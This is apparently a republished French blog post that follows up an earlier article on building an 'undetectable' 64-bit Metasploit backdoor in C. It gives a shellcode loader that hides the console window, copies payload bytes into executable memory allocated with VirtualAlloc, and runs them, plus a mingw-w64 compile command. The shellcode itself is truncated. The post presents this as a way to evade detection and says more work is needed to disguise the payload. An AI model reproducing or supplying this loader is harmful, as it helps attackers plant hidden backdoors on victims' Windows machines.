Table des matières

Metasploit: Générer une « backdoor » indétectable en C … 64 bit

Republication d'article : source

Ceci est un complément au « blog post » « Metasploit: Générer une « backdoor » indétectable en C » .

J’y expliquais comment créer une « backdoor » « 32 bit », mais pas « 64 bit » .

Mes tests de « backdoor » « 64 bit » plantaient systématiquement, avec un message d’erreur abscons … J’étais pourtant sur la bonne piste et j’ai trouvé la solution quelques heures après la publication de mon « blog post » sur la version « 32 bit » …

Rappel

Ici, les explications et l’exemple sont très simple. Référez-vous au « blog post » « Metasploit: Générer une « backdoor » indétectable en C » pour obtenir plus d’information.

Vous y verrez notamment comment:

Une « backdoor » en « 64 bit »

« Memory Protection »

J’avais raison de m’étonner qu’on puisse exécuter aussi facilement du code présent dans les données d’un programme… en « 32 bit » , car en pratique, par défaut, ce n’est pas possible avec un logiciel en « 64 bit ».

Mais heureusement, Micro$oft a bien fait les choses pour qu’on puisse qu’en même s’amuser.

Pour exécuter un « payload » en « 64 bit » , il faut qu’il soit dans la mémoire où l’execution de code est permise. Pour allouer cette mémoire, il « suffit » d’utiliser la fonction « VirtualAlloc() » en lui passant les bon arguments…

du C à « backdoor.exe »

Simple source

Reprenons le source de notre précédent article et apportons lui les modifications nécessaires:

#include <stdio.h>
#include <windows.h>
 
unsigned char buf[] =
"\xfc\xe8\...
...
...
...
...\xff\xd5";
 
void main(void)
{
  void *exec = NULL;
 
  ShowWindow(GetConsoleWindow(),SW_HIDE);
 
  if ( NULL != ( exec = VirtualAlloc( NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE ) ) ) {
    memcpy( exec , buf , sizeof( buf ) );
    ((void (*)())exec)();
  }
 
}

En résumé:

  1. On a précédemment créé un « payload » qui est présent ici dans la chaine « buf ».
  2. On copie la chaine « buf » dans la mémoire allouée et prévue pour contenir du code exécutable.
  3. On démarre le « payload ».

Compiler

Dans mon cas, n’ayant pas d’autres moyens, j’utilise « mingw-w64 » pour compiler ce bout de code.

Une fois dans l’environnement « mingw-w64 »:

C:\Dev\Labo\C\Backdoor64\> gcc -o backdoor.exe backdoor.c -lwsock32

Ceci n’est qu’un exemple.

Il y a un peu plus de travail pour camoufler parfaitement la charge utile.

Sources :